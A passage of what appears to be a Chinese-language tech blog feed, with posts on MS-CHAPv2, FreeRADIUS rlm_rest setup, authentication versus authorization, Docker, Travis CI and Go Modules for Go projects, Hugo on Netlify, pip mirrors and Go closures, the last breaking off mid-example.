现在大多数厂商都已经弃用 MS-CHAPv1，而在其基础上 MS-CHAPv2 可以通过在 Response 包上承载对等质询，并在 Success 包上承载身份验证器响应，来提供对等方之间的相互身份验证。

MS-CHAPv2 的具体工作细节如下：

PC <---> NAS：NAS 向 PC 发送一个 Challenge 包，PC 进行响应。
NAS <---> AAA：NAS 收到 PC 的响应后，组织好 MSCHAP-Challenge 和 MSCHAP-Response 属性发送给 RADIUS 服务器，然后服务器在本地读取明文密码（或 LM-Password、NT-Password），加上 MSCHAP-Challenge 后计算出密文，与收到的 MSCHAP-Response 进行对比后得到认证结果。

与单纯的 CHAP 相比，MS-CHAP 的特点有：

通过协商 LCP 选项三身份验证协议中的 CHAP 算法为 0x80 来启用 MS-CHAPv1，对于 MS-CHAPv2 来说则是 0x81。
新增了一个认证者控制的密码变更机制。
新增了一个认证者控制的认证重试机制。
新增了一个在失败数据包消息字段中返回的失败代码。

MS-CHAPv1 和 MS-CHAPv2 的包格式基本与 CHAP 相同。

参考链接

RADIUS - Wikipedia

RFC 2865 - Remote Authentication Dial In User Service (RADIUS)

RFC 2866 - RADIUS Accounting

Radius · GitBook

EAP 认证

在 FreeRADIUS 上配置 rlm_rest

Wed, 25 Sep 2019 12:00:42 GMT

从 3.0.x 版本开始，FreeRADIUS 开始支持 rlm_rest 模块，顾名思义，该模块可用于将 RADIUS 身份验证请求转换为 HTTP 请求，该请求符合 REST 规范。

但是，模块当前未实现 RADIUS 的所有功能，例如质询响应身份验证和属性映射，所以不支持 MS-CHAPv2 等协议。

安装

Ubuntu 17.04 和 Debian 9 是首个包含 FreeRADIUS 3.0.x 版本的操作系统。

在这些操作系统中，所需的软件包可以如下安装：

sudo apt-get install freeradius freeradius-rest

配置

首先，需要在 FreeRADIUS 上通过软连接启用 rlm_rest 模块：

cd /etc/freeradius/mods-enabled
ln -s ../mods-available/rest .

然后，在 /etc/freeradius/users 文件中配置身份验证类型：

DEFAULT Auth-Type := rest

而站点配置应按以下方式调用该模块：

authenticate {
     Auth-Type rest {
        rest
     }
     digest
     unix
}

最后，通过 /etc/freeradius/mods-enabled/rest 文件配置模块本身：

connect_uri = "https://127.0.0.1/"

authenticate
    uri = "${..connect_uri}/check"
    method = 'post'
    body = 'post'
    data = "user=%{urlquote:%{User-Name}}&pass=%{urlquote:%{User-Password}}"
    force_to = 'plain'
    tls = ${..tls}
}

测试

如果你的 clients.conf 已经正确配置，那么 FreeRADIUS 现在是可以正常响应身份验证请求的。可作如下测试：

echo "User-Name=username, User-Password=password" | radclient -sx RADIUSServerAdress auth secret

该命令的作用是发送一条身份验证请求到 RADIUS 服务器。

通过监听在 https://127.0.0.1/check 上的 HTTP 请求，可以正确得到用户名和密码信息。

参考链接

rest | FreeRADIUS Documentation

Configuration of rlm_rest

Authentication 和 Authorization 之间的区别

Mon, 23 Sep 2019 13:00:30 GMT

Authentication 和 Authorization 分别被译为身份验证和授权，这两个术语经常在我们谈及计算机安全的时候经常同时出现，再加上它们的的英语单词非常相似，所以我们经常分不清楚，但实际上它们所表达的意思是截然不同的。

本文将介绍 Authentication 和 Authorization 之间的区别，以及它们又包含了什么意思。

Authentication

Authentication（身份验证） 是关于检查你的凭据以验证你的身份，如：用户名和密码。

有时还与身份验证因素结合使用，身份验证因素决定了系统在向某人授予任何访问权限之前用来验证其身份的各种元素。

根据安全级别，身份验证因素有以下几种：

单因素（Single-Factor）身份验证：这是最简单的身份验证方法，通常依靠用户名和密码来授予用户对系统的访问权限。
双因素（Two-Factor）身份验证：顾名思义，这是一个两步验证过程，不仅需要用户名和密码，而且还需要用户知道的一些内容，以确保附加的安全级别，如：安全提问、手机验证码。
多因素（Multi-Factor）身份验证：这是相当安全的身份验证方法，使用超过两个的因素来授予用户对系统的访问权限。所有因素都应相互独立，以消除系统中的漏洞。金融组织，银行和政府机关使用多因素身份验证来保护其数据和应用程序免受潜在威胁。

举个例子，当你在 ATM 机中插入银行卡后，机器会要求你输入密码。正确输入密码后，银行会确认你的身份，该卡确实属于你，并且你是该卡的合法所有者。

通过验证你的银行卡密码，银行实际上是在验证你的身份，这被称为身份验证。它仅仅识别你的身份，不做其它工作。

Authorization

Authorization（授权） 是确定经过身份验证的用户是否有权访问特定资源的过程。

它验证您访问诸如数据库、文件等资源的权利。授权通常在身份验证之后进行，以确认您的执行特权。也就是说，授权决定了您访问系统的能力以及访问程度。

对系统的访问受身份验证和授权保护，任何访问系统的请求都可以通过输入有效的凭据进行身份验证，但是只有在成功授权后才会被接受。如果请求已通过验证但未获得授权，则系统将拒绝对系统的访问。

再举个例子，验证和确认组织中员工 ID 和密码的过程被称为身份验证，但确定哪个员工有权访问哪个楼层才被称为授权。

总结

Authentication	Authorization
身份验证确认您的身份以授予对系统的访问权限	授权确定您是否有权访问资源
这是验证用户凭据以获得用户访问权限的过程	这是验证是否允许访问的过程
它确定用户是否是他声称的身份	它确定用户可以访问和不能访问的内容
身份验证通常需要用户名和密码	授权所需的身份验证因素可能会有所不同，具体取决于安全级别
身份验证是授权的第一步，因此始终优先	成功进行身份验证后，将完成授权
特定大学的学生在访问大学官方网站的学生链接之前，必须先进行身份验证	授权可以确定成功认证后学生有权在大学网站上访问的信息

总的来说，身份验证和授权之间的区别在于：身份验证意味着确认您自己的身份，而授权意味着授予对系统的访问权限；身份验证是验证您身份的过程，而授权是验证您有权访问的过程。

参考链接

身份验证 - 维基百科，自由的百科全书

授权 (信息安全) - 维基百科，自由的百科全书

Difference between Authentication and Authorization | Difference Between

修复 add-apt-repository command not found 错误

Sat, 21 Sep 2019 14:36:30 GMT

本文将向你展示如何修复在 Ubuntu、Debian 和其它基于 Debian 的 Linux 发行版上出现的 add-apt-repository command not found 错误。

我们在 Ubuntu 和 Debian 上安装软件包时经常会使用到 PPA（Personal Package Archive）。

如果要添加新的 PPA 存储库，则需要使用 add-apt-repository 命令，如：

sudo add-apt-repository ppa:example/ppa

但有时会出现 add-apt-repository 命令未找到的错误，如：

sudo: add-apt-repository: command not found

发生这个错误的原因是该系统未安装 add-apt-repository 命令。

但如果你使用 sudo apt-get install add-apt-repository 是无法修复的。

这是因为 add-apt-repository 命令实际上是软件包 software-properties-common 的一部分。

所以我们应该安装该包，如：

sudo apt-get install software-properties-common

安装完成后应使用如下命令更新系统：

sudo apt-get update

更新完后使用 add-apt-repository 添加 PPA 时就不会发生错误了。

在 Go 语言项目中使用 Docker

Tue, 20 Aug 2019 13:31:24 GMT

容器（Container） 将程序及其所需的任何内容捆绑在一起，包括依赖项、工具和配置文件等等。这样使得程序不受环境的干扰，真正意义上做到开发环境和生成环境完全一致。

而 Docker 在容器的基础上，进行了进一步的封装，从文件系统、网络互联到进程隔离等等，极大的简化了容器的创建和维护。与传统虚拟机相比，Docker 也有许多优点，如：更高效的系统资源利用和更快速的启动时间。

在本文中，通过一个简单的 Go 语言项目，您将学习如何在 Go 语言项目中使用 Docker。

创建一个简单的 Go 语言项目

让我们来创建一个作为示例的 Go 语言项目。在命令行下输入以下命令以创建文件夹：

mkdir gdp

我们将使用 Go Module 进行依赖性管理。转到项目的根目录，然后初始化 Go Module：

cd gdp
go mod init github.com/linehk/gdp

我们将创建一个简单的 hello 服务器。在项目根目录中创建一个名为 hello_server.go 的新文件：

touch hello_server.go

文件内容如下：

package main

import (
	"fmt"
	"log"
	"net/http"
	"time"

	"github.com/gorilla/mux"
)

func handler(w http.ResponseWriter, r *http.Request) {
	query := r.URL.Query()
	name := query.Get("name")
	if name == "" {
		name = "Guest"
	}
	log.Printf("Received request for %s.\n", name)
	w.Write([]byte(fmt.Sprintf("Hello, %s!\n", name)))
}

func main() {
	r := mux.NewRouter()
	r.HandleFunc("/", handler)
	server := &http.Server{
		Handler:      r,
		Addr:         ":8080",
		ReadTimeout:  10 * time.Second,
		WriteTimeout: 10 * time.Second,
	}
	log.Println("Starting Server.")
	if err := server.ListenAndServe(); err != nil {
		log.Fatal(err)
	}
}

该项目使用 gorilla/mux 包来创建 HTTP 路由（导入包是为了展示 Docker 容器捆绑依赖项的作用），地址是 localhost:8080。

尝试在本地编译并运行项目

让我们先尝试在本地编译和运行项目。可以在项目根目录输入以下命令来编译项目：

go build

go build 命令将会生成一个名为 gdp 的可执行文件。可以像这样运行该文件：

./gdp
2020/08/19 21:33:49 Starting Server.

我们的 hello 服务器现在正在运行，可以尝试使用 curl 或其它工具与其交互：

curl http://localhost:8080
Hello, Guest!

curl http://localhost:8080?name=sulinehk
Hello, sulinehk!

编写 Dockerfile 定义 Docker 镜像

让我们来为这个项目编写 Dockerfile，在根目录创建文件名为 Dockerfile 的文件，内容如下：

# 拉取 Go 语言最新的基础镜像
FROM golang:latest

# 在容器内设置 /app 为当前工作目录
WORKDIR /app

# 把文件复制到当前工作目录
COPY . .

# 设置 GOPROXY 环境变量
ENV GOPROXY="https://goproxy.cn"

# 下载全部依赖项
RUN go mod download

# 编译项目
RUN go build -o gdp .

# 暴露 8080 端口
EXPOSE 8080

# 执行可执行文件
CMD ["./gdp"]

构建镜像和运行容器

镜像（Image） 是实际的软件分发包，其中包含运行应用程序所需的所有内容。

而容器根据镜像构建，是镜像的运行示例，类似 Go 语言中结构体定义和结构体变量之间的关系。

构建镜像：

docker build -t gdp .

运行容器：

docker run -d -p 8080:8080 gdp
aa6a1afbe1b13ad0b0d1d656e157f762c5fe2229a8e0d95a025df26396ffc08f

与容器内运行的服务器交互：

curl http://localhost:8080
Hello, Guest!

curl http://localhost:8080?name=sulinehk
Hello, sulinehk!

下面是一些其它的 Docker 命令：

总结

可以看出，一个定义良好的 Dockfile 文件在整个流程中起到承上启下的作用。

参考链接

Docker — 从入门到实践

Docker Documentation

在 Go 语言项目中使用 Travis CI

Mon, 15 Jul 2019 13:46:18 GMT

Travis CI 是一种免费的持续集成服务，而 持续集成（CI, Continuous integration） 是一种软件工程流程，概括来讲就是多提交小的 Commit 来更快的发现软件的 Bug，从而提高软件质量。

本文会详细介绍如何在 Go 语言项目中使用 Travis CI。

准备工作

GitHub 账号：用于保存项目。
Travis CI 账号：点击右上角的 Sign in with GitHub 即可通过 GitHub 创建关联账号。
示例项目 hello，它包含三个文件：

hello.go：

package hello

func Hello() string { return "Hello, World!" }

hello_test.go：

package hello

import (
	"testing"
)

func TestHello(t *testing.T) {
	if got, want := Hello(), "Hello, World!"; got != want {
		t.Errorf("got %v, want %v", got, want)
	}
}

go.mod：

module github.com/linehk/hello

go 1.14

该文件通过命令：go mod init github.com/linehk/hello 生成。

建立 GitHub 仓库

建立一个 GitHub 仓库，并将上面三个文件组成的 hello 项目推送到仓库。

同步仓库到 Travis CI

在 Travis CI 仓库页面左上角点击 Sync account 来将 GitHub 新创建的仓库同步到 Travis CI。

并在左边的 Legacy Services Integration 下找到 hello 项目，将其勾选上。如下图所示：

编写 .travis.yml 文件

受益于在 Go 1.13 版本后，Go Modules 是默认开启的情况下，以下就是最简单的 .travis.yml 文件，.yml 后缀表示使用的是 YAML 格式：

# 使用 Go 语言（# 号开头的为注释）
language: go

script:
  - go test -v ./...

开始集成测试

将上一步编写的 .travis.yml 文件加入仓库并推送至 GitHub。Travis CI 检测到该文件就会根据里面的内容开始测试。之后每次推送都会触发测试。

在 dashboard 中可以找到 hello 项目，点击进入就可以看到详细的测试信息。如下图所示：

Travis CI 徽章

点击绿色的 build passing 就能得到徽章的地址，如：https://travis-ci.org/linehk/hello.svg?branch=master。

可以将它贴在你的 README 文件里，如果项目在某次推送中测试失败，徽章就会变成红色。

参考链接

Building a Go Project

Go Modules 详解

Mon, 17 Jun 2019 13:36:30 GMT

Go 1.11 和 Go 1.12 包含了初步的 Go Modules 支持，且计划在 2019 年 8 月发布的 Go 1.13 会在所有开发过程中默认使用 Go Modules。

Go Modules 是为了提升使用其他开发者代码，即添加 依赖项（模块、包） 时的体验，也是为了让代码的正确性、安全性得到保障。并且 Go Modules 可以使用 GOPROXY 环境变量来解决中国大陆无法使用 go get 的问题。

所以学习跟 Go Modules 有关的知识是很有必要的。

模式

Go Modules 在 Go 1.11 及 Go 1.12 中有三个模式，根据环境变量 GO111MODULE 定义：

默认模式（未设置该环境变量或 GO111MODULE=auto）：Go 命令行工具在同时满足以下两个条件时使用 Go Modules：
- 当前目录不在 GOPATH/src/ 下；
- 在当前目录或上层目录中存在 go.mod 文件。
GOPATH 模式（GO111MODULE=off）：Go 命令行工具从不使用 Go Modules。相反，它查找 vendor 目录和 GOPATH 以查找依赖项。
Go Modules 模式（GO111MODULE=on）：Go 命令行工具只使用 Go Modules，从不咨询 GOPATH。GOPATH 不再作为导入目录，但它仍然存储下载的依赖项（GOPATH/pkg/mod/）和已安装的命令（GOPATH/bin/），只移除了 GOPATH/src/。

Go 1.13 默认使用 Go Modules 模式，所以以上内容在 Go 1.13 发布并在生产环境中使用后都可以忽略。

核心文件：go.mod

以下就是 go.mod 文件的一个最全面的示例：

module my/thing
go 1.12
require other/thing v1.0.2 // 这是注释
require new/thing/v2 v2.3.4 // indirect
require（
	new/thing v2.3.4
	old/thing v0.0.0-20190603091049-60506f45cf65
）
exclude old/thing v1.2.3
replace bad/thing v1.4.5 => good/thing v1.4.5

很全面，也很复杂。但其实 go.mod 文件在实际项目没有这么复杂，而且一旦该文件存在，就不需要额外的步骤：像 go build、go test，甚至 go list 这样的命令都会根据需要自动添加新的依赖项以满足导入。

但现在我们还是来详细了解 go.mod 文件的组成：

go.mod 文件是面向行的, 当前模块（主模块）通常位于第一行，接下来是根据路径排序的依赖项。

每行包含一个指令，由一个前导动词后跟参数组成。

所有前导动词的作用如下：

module：定义模块路径。
go：设置预期的语言版本。
require：要求给定版本或更高版本的特定模块。
exclude：排除特定版本模块的使用，不允许的模块版本被视为不可用，并且查询无法返回。
replace：使用不同的模块版本替换原有模块版本。

前导动词还可以按块的方式使用，用括号创建一个块（第 5-8 行），就像在 Go 语言中的导入一样：

import (
	"errors"
	"fmt"
	"log"
)

注释（第 3-4 行）可以使用单行 // 这是注释 注释，但不能使用多行 /* 这是注释 */ 注释。而 indirect 注释（第 4 行）标记了该模块不是被当前模块直接导入的，只是被间接导入。

go.mod 文件只存在于在模块的根目录下，子目录中的导入路径会使用模块的导入路径 + 子目录路径的形式。例如：如果创建了一个名叫 world 的子目录，并不需要在子目录中使用 go mod init 命令，Go 命令行工具会自动识别它作为 hello 模块的一部分，所以它的导入路径为 hello/world。

Go 命令行工具会自动处理 go.mod 中指定的模块版本。当源代码中 import 指向的模块不存在于 go.mod 文件中时，Go 命令行工具会自动搜索这个模块，并将最新版本（最后一个 tag 且非预发布的稳定版本）添加到 go.mod 文件中。

如果没有 tag，则使用伪版本（第 7 行），这是一种版本语法，专门用于标记没有 tag 的提交（一些 golang.org/x/ 下的包就是没有 tag 的）。如：v0.0.0-20190603091049-60506f45cf65。

前面部分为语义化版本号，用于标记版本；中间部分为 UTC 的提交时间，用于比较两个伪版本以其确定先后顺序；后面部分是 commit 哈希的前缀，用于标记该版本位于哪个 commit。

版本管理文件：go.sum

示例如下：

github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gin-gonic/gin v1.4.0 h1:3tMoCCfM7ppqsR0ptz/wi1impNpT7/9wQtMZ8lr1mCQ=
github.com/gin-gonic/gin v1.4.0/go.mod h1:OW2EZn3DO8Ln9oIKOvM++LBO+5UPHJJDH72/q/3rZdM=
github.com/golang/protobuf v1.3.1 h1:YF8+flBXS5eO826T4nzqPrxfhQThhXl0YzfuUPu4SBg=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=

每行由模块导入路径、模块的特定版本和预期哈希组成。

在每次缺少模块时，如果缓存中不存在，则需要下载并计算其哈希添加到 go.sum 中；如果缓存中存在，则需要匹配 go.sum 中的已有条目。

这样，构建软件的用户就可以使用哈希验证其构建是否跟你的构建相同（go mod verify），而无论他们怎样获取依赖项，都可以得到相同的版本。同时也保证了项目依赖不会发生预料之外的恶意修改和其他问题。这也是为什么要将 go.sum 文件加入版本管理（Git）的原因。

再加上 Go Modules 选择的是最小版本选择策略（默认使用构建中涉及的每个模块的最旧允许版本，使得新版本的发布对构建没有影响）就可以实现可重现的构建（在重复构建时产生相同的结果）。

语义化版本

什么是语义化版本？语义化版本是一套由 Gravatars 创办者兼 GitHub 共同创办者 Tom Preston-Werner 所建立的约定。在这套约定下，语义化版本号及其更新方式包含了很多有用的信息。

语义化版本号格式为：X.Y.Z（主版本号.次版本号.修订号），使用方法如下：

进行不向下兼容的修改时，递增主版本号。
API 保持向下兼容的新增及修改时，递增次版本号。
修复问题但不影响 API 时，递增修订号。

举个例子，有一个语义化版本号为：v0.1.2，则其主版本号为 0，次版本为 1，修订号为 2。而前面的 v 是 version（版本）的首字母，是 Go 语言惯例使用的，标准的语义化版本没有这个约定。

所以在使用 Go 命令行工具或 go.mod 文件时，就可以使用语义化版本号来进行模块查询，具体规则如下：

默认值（@latest）：将匹配最新的可用标签版本或源码库的最新未标签版本。
完全指定版本（@v1.2.3）：将匹配该指定版本。
版本前缀（@v1 或 @v1.2）：将匹配具有该前缀的最新可用标签版本。
版本比较（@<v1.2.3 或 @>=v1.5.6）：将匹配最接近比较目标的可用标签版本。< 则为小于该版本的最新版本，> 则为大于该版本的最旧版本。当使用类 Unix 系统时，需用引号将字符串包裹起来以防止大于小于号被解释为重定向。如：go get 'github.com/gin-gonic/gin@<v1.2.3'。
指定某个 commit（@c856192）：将匹配该 commit 时的版本。
指定某个分支（@master）：将匹配该分支版本。

如上图所示，为了能让 Go Modules 的使用者能够从旧版本更方便地升级至新版本，Go 语言官方提出了两个重要的规则：

导入兼容性规则（import compatibility rule）：如果旧包和新包具有相同的导入路径，则新包必须向后兼容旧包。
语义化导入版本规则（semantic import versioning rule）：每个不同主版本（即不兼容的包 v1 或 v2）使用不同的导入路径，以主版本结尾，且每个主版本中最多一个。如：一个 rsc.io/quote、一个 rsc.io/quote/v2、一个 rsc.io/quote/v3。

而与 Git 分支的集成如下：

vendor 目录

以前使用 vendor 目录有两个目的：

可以使用依赖项的确切版本用来构建。
即使原始副本消失，也能保证这些依赖项是可用的。

而模块现在有了更好的机制来实现这两个目的：

通过在 go.mod 文件中指定依赖项的确切版本。
可用性则由缓存代理（$GOPROXY）实现。

而且 vendor 目录也很难管理这些依赖项，久而久之就会陷入与 node_modules 黑洞一样的窘境。

所以，默认情况下使用 Go Modules 将完全忽略 vendor 的依赖项，但是为了平稳过度，可以使用 go mod vendor 命令可以创建 vendor 目录。

并在 Go 命令行工具使用 -mod=vendor 参数，如：go test -mod=vendor ./...；或设置环境变量 GOFLAGS 为 -mod=vendor，这样会假定 vendor 目录包含正确的依赖项副本，并忽略 go.mod 文件中的依赖项描述来构建。

环境变量 GOPROXY

设置环境变量 GOPROXY 可以解决中国大陆无法使用 go get 的问题：

把 export GOPROXY=https://goproxy.io 写入 Shell 的配置文件即可。

常用命令

go mod init：创建一个新模块，初始化 go.mod 文件，参数为该模块的导入路径，推荐使用这种形式。如：go mod init github.com/linehk/example。
go get：更改依赖项版本（或添加新的依赖项）。
go build、go test 等命令：Go 命令行工具会根据需要添加新的依赖项。如：go test ./...，测试当前模块。
go list -m all：打印当前模块依赖。
go mod tidy：移除无用依赖。
go list -m -versions github.com/gin-gonic/gin：列出该模块的所有版本。
go mod verify：验证哈希。

与 GoLand 集成

在 GoLand 2019.1.3 中使用 Go Modules 需要进行两个设置：

Preferences -> Go -> Go Modules (vgo)，勾选 Enable Go Modules (vgo) integration 以启用 Go Modules，并在 Proxy 输入框中输入 https://goproxy.io。如图所示：
Preferences -> Go -> GOPATH，勾选上 Index entire GOPATH 以索引整个 GOPATH，不然无法导入包。如图所示：

进行如上设置后，就可以在导入不在缓存中的包时，点击 Sync packages of... 下载该包了：

参考链接

Command go

Go & Versioning

语义化版本 2.0.0

部署 Hugo 网站到 Netlify

Sun, 16 Jun 2019 12:53:57 GMT

Netlify 是什么？它是一家云计算公司，为静态网站提供托管和 serverless 后端服务。

关键在于，与 GitHub 相比，Netlify 托管的网站速度更快，也更稳定。

本文就来介绍如何部署一个 Hugo 网站到 Netlify 和一些额外设置。

主题子模块化

首先要 Fork 主题到你自己的账号，这样即可以自定义主题，又可以 Pull 到最新的更新。

然后要把 Hugo 网站的主题子模块化，因为 Netlify 不支持子模块以外的方法来使用主题，如最常见的：

git clone https://github.com/olOwOlo/hugo-theme-even themes/even

如果原来使用的是 git clone 则需要先删除主题（注意备份），再在网站根目录下输入添加主题子模块的命令：

git submodule add https://github.com/linehk/hugo-theme-even.git themes/even

如果在网站根目录下出现 .gitmodules 文件，且内容跟我的类似，则表示成功：

[submodule "themes/even"]
	path = themes/even
	url = https://github.com/linehk/hugo-theme-even.git

可以选择在 .gitignore 中加入 public/ 来忽略掉 public 文件夹，因为已经不需要了。

然后 git push 到远程仓库即可。

部署

跟官网宣传的一样，部署 Hugo 网站到 Netlify 非常简单，步骤如下：

点击官网右上角的 Sign up 来注册登录
登录成功后会转到类似 https://app.netlify.com/teams/linehk/sites 的链接，点击 New site from Git 新建网站
选择前面部署到的代码托管平台，如：GitHub
选择前面上传到的远程仓库
【可选】在 Build command 加入 --cleanDestinationDir --forceSyncStatic --gc --ignoreCache --minify 等额外参数，这些参数的作用如下：
- --cleanDestinationDir：构建前先清理目标文件夹，即 public
- --forceSyncStatic：强制同步 static 文件夹
- --gc：构建后执行一些清理任务（删除掉一些没用的缓存文件）
- --ignoreCache：构建时忽略缓存
- --minify：压缩网页（Debug 时慎用）
最后点击 Deploy site 即可

经过部署后已经可以通过 Netlify 分配的域名来访问网站了，如：https://sulinehk.netlify.com/

自定义域名

对于想对网站使用主域名而言，自定义域名很简单：

找到 Domain settings 选项卡，点击进入域名设置
在 Custom domains 一项下点击 Add domain alias 来添加自定义域名
在弹出来的输入框输出主域名即可，如：www.sulinehk.com
在域名商处添加如下的 DNS 记录，等待 DNS 刷新，看到主域名处出现 NETLIFY DNS 的墨绿色标志即代表成功

dns1.p01.nsone.net
dns2.p01.nsone.net
dns3.p01.nsone.net
dns4.p01.nsone.net

设置重定向

还是在 Custom domains 选项卡，点击 How to redirect the default Netlify subdomain to your primary domain 展开查看代码。

我的代码如下：

# These rules will change if you change your site’s custom domains or HTTPS settings

# Redirect default Netlify subdomain to primary domain
https://sulinehk.netlify.com/* https://www.sulinehk.com/:splat 301!

在 static 目录下新建文件 _redirects，粘贴代码进去。

开启 HTTPS

在 HTTPS 选项卡下的 SSL/TLS certificate 选项开启即可。

证书的签发者为 Let’s Encrypt，支持自动续期。也可以自定义别的签发者。

如果想在 Chrome 地址栏里看到小绿锁（小灰锁），还需要把所有链接都替换成以 https:// 开头的链接。

接着在页面按下 F12 来打开开发者工具，并切换到 Network，刷新页面，查看有什么请求不是以 https:// 发出的，修改相关页面来替换。

展示状态徽章

在 Status badges 选项卡下有个链接代码，该链接代码可以展示该网站的部署状态。

你可以在网站的 GitHub 仓库下的 README.md 文件中展示它，或者将它放在网站主页的 footer 上。

这是我的链接代码：

[![Netlify Status](https://api.netlify.com/api/v1/badges/04d31b4a-979e-4e29-970b-e769f41130df/deploy-status)](https://app.netlify.com/sites/sulinehk/deploys)

还有它的展示效果：

参考链接

Using git submodule for Hugo themes

在 Hugo 博客中添加 Google AdSense

Mon, 10 Jun 2019 10:35:30 GMT

Hugo 原生支持 Google Analytics，一些主题也支持 Baidu Analytics 和 Baidu Push，例如 even。

但对于 Google AdSense 就没有很好的支持，即便如此，我们也可以通过嵌入自定义的 HTML 代码来使用它。

添加验证代码

首先要找到 themes/even/layouts/partials/head.html 这个文件。

观察这个路径，layouts 意为布局，partials 意为偏好设置，head.html 则表示这个文件的内容会出现在所生成的每个网页的头部，在这里插入验证代码再合适不过了。

只要是在该文件下插入，都可以生效。但是为了美观，我选择插入到  和  之间：

<!-- Google AdSense -->
<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<script>
  (adsbygoogle = window.adsbygoogle || []).push({
    google_ad_client: "ca-pub-1877996349803670",
    enable_page_level_ads: true
  });
</script>

以上这段验证代码是我的，你需要修改成你自己的才会生效。

第一行的注释是为了方便以后的 Debug，不应该删除。

重新部署网页后，就可以等待验证的通过了。

添加广告单元

首先要选择在哪里添加广告单元，我选择的是在每篇文章的末尾。

还是先观察这个路径 themes/even/layouts/post/single.html，post 表示跟每篇文章有关。

我选择插入到  和  之间：

<!-- Google AdSense -->
<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1877996349803670" data-ad-slot="6956738551"
  data-ad-format="auto" data-full-width-responsive="true"></ins>
<script>
  (adsbygoogle = window.adsbygoogle || []).push({});
</script>

以上这段广告单元代码是我的，你需要修改成你自己的才会生效。

重新部署网页就可以看到在每篇文章末尾都会出现该广告单元：

在 macOS 上制作 Windows 10 USB 启动盘

Sat, 01 Jun 2019 04:20:26 GMT

本文介绍了如何在 macOS 上制作 Windows 10 的 USB 启动盘。

找到 U 盘路径和 Windows 10 镜像名

先插入 U 盘，并双击 Windows 10 镜像来挂载。

然后在终端输入如下命令：

diskutil list

可以看到类似于我的输出：

U 盘路径可以根据 U 盘大小来找到：例如，我的 U 盘大小是 16 GB，所以我的 U 盘路径为 /dev/disk3
Windows 10 镜像名可以根据注释来找到：例如，在 /dev/disk4 后面的括号注释着 disk image，所以我的镜像名为 CPBA_X64FRE_ZH-CN_DV9

把 U 盘格式化为 MS-DOS

diskutil eraseDisk MS-DOS "WINDOWS10" MBR disk3

命令中的 disk3 是我的 U 盘路径，你需要根据自己的情况修改。

通过复制文件来制作启动盘

cp -rp /Volumes/CPBA_X64FRE_ZH-CN_DV9/* /Volumes/WINDOWS10/

命令中的 CPBA_X64FRE_ZH-CN_DV9 是我的镜像名，你需要根据自己的情况修改。

复制完成也意味着整个制作过程的完成。

参考链接

利用macOS制作Windows 10安装U盘

修改 macOS 上的 easy_install 和 pip 为国内清华镜像源

Thu, 30 May 2019 11:35:08 GMT

本文介绍了如何通过修改 macOS 上的 easy_install 和 pip 的配置文件，设置为国内清华镜像源，从而加快速度。

easy_install

如果没有对应的文件，则需手动创建。

文件地址：

~/.pydistutils.cfg

替换成如下文本：

[easy_install]
index_url = https://pypi.tuna.tsinghua.edu.cn/simple

pip

如果没有对应的文件，则需手动创建。

文件地址：

~/.pip/pip.conf

替换成如下文本：

[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple

Go 语言闭包详解

Sat, 09 Mar 2019 08:28:02 GMT

什么是闭包？闭包是由函数和与其相关的引用环境组合而成的实体。

下面就来通过几个例子来说明 Go 语言中的闭包以及由闭包引用产生的问题。

函数变量（函数值）

在说明闭包之前，先来了解一下什么是函数变量。

在 Go 语言中，函数被看作是第一类值，这意味着函数像变量一样，有类型、有值，其他普通变量能做的事它也可以。

func square(x int) {
	println(x * x)
}

直接调用：square(1)
把函数当成变量一样赋值：s := square；接着可以调用这个函数变量：s(1)。 注意：这里 square 后面没有圆括号，调用才有。

调用 nil 的函数变量会导致 panic。
函数变量的零值是 nil，这意味着它可以跟 nil 比较，但两个函数变量之间不能比较。

闭包

现在开始通过例子来说明闭包：

func incr() func() int {
	var x int
	return func() int {
		x++
		return x
	}
}

调用这个函数会返回一个函数变量。

i := incr()：通过把这个函数变量赋值给 i，i 就成为了一个闭包。

所以 i 保存着对 x 的引用，可以想象 i 中有着一个指针指向 x 或 i 中有 x 的地址。

由于 i 有着指向 x 的指针，所以可以修改 x，且保持着状态：

println(i()) // 1
println(i()) // 2
println(i()) // 3

也就是说，x 逃逸了，它的生命周期没有随着它的作用域结束而结束。

但是这段代码却不会递增：

println(incr()()) // 1
println(incr()()) // 1
println(incr()()) // 1

这是因为这里调用了三次 incr()，返回了三个闭包，这三个闭包引用着三个不同的 x，它们的状态是各自独立的。

闭包引用

现在开始通过例子来说明由闭包引用产生的问题：

x := 1
f := func() {
	println(x)
}
x = 2
x = 3
f() // 3

因为闭包对外层词法域变量是引用的，所以这段代码会输出 3。

可以想象 f 中保存着 x 的地址，它使用 x 时会直接解引用，所以 x 的值改变了会导致 f 解引用得到的值也会改变。

但是，这段代码却会输出 1：

x := 1
func() {
	println(x) // 1
}()
x = 2
x = 3

把它转换成这样的形式就容易理解了：

x := 1
f := func() {
	println(x)
}
f() // 1
x = 2
x = 3

这是因为 f 调用时就已经解引用取值了，这之后的修改就与它无关了。

不过如果再次调用 f 还是会输出 3，这也再一次证明了 f 中保存着 x 的地址。

可以通过在闭包内外打印所引用变量的地址来证明：

x := 1
func() {
	println(&x) // 0xc0000de790
}()
println(&x) // 0xc0000de790

可以看到引用的是同一个地址。

循环闭包引用

接下来在三个例子中说明由循环内的闭包引用所产生的问题：

第一个例子

for i := 0; i < 3; i++ {
	func() {
		println(i) // 0, 1, 2
	}()
}

这段代码相当于：

for i := 0; i < 3; i++ {
	f := func() {
		println(i) // 0, 1, 2
	}
	f()
}

每次迭代后都对 i 进行了解引用并使用得到的值且不再使用，所以这段代码会正常输出。

第二个例子

正常代码：输出 0, 1, 2：

var dummy [3]int
for i := 0; i < len(dummy); i++ {
	println(i) // 0, 1, 2
}

然而这段代码会输出 3：

var dummy [3]int
var f func()
for i := 0; i < len(dummy); i++ {
	f = func() {
		println(i)
	}
}
f() // 3

前面讲到闭包取引用，所以这段代码应该输出 i 最后的值 2 对吧？

不对。这是因为 i 最后的值并不是 2。

把循环转换成这样的形式就容易理解了：

var dummy [3]int
var f func()
for i := 0; i < len(dummy); {
	f = func() {
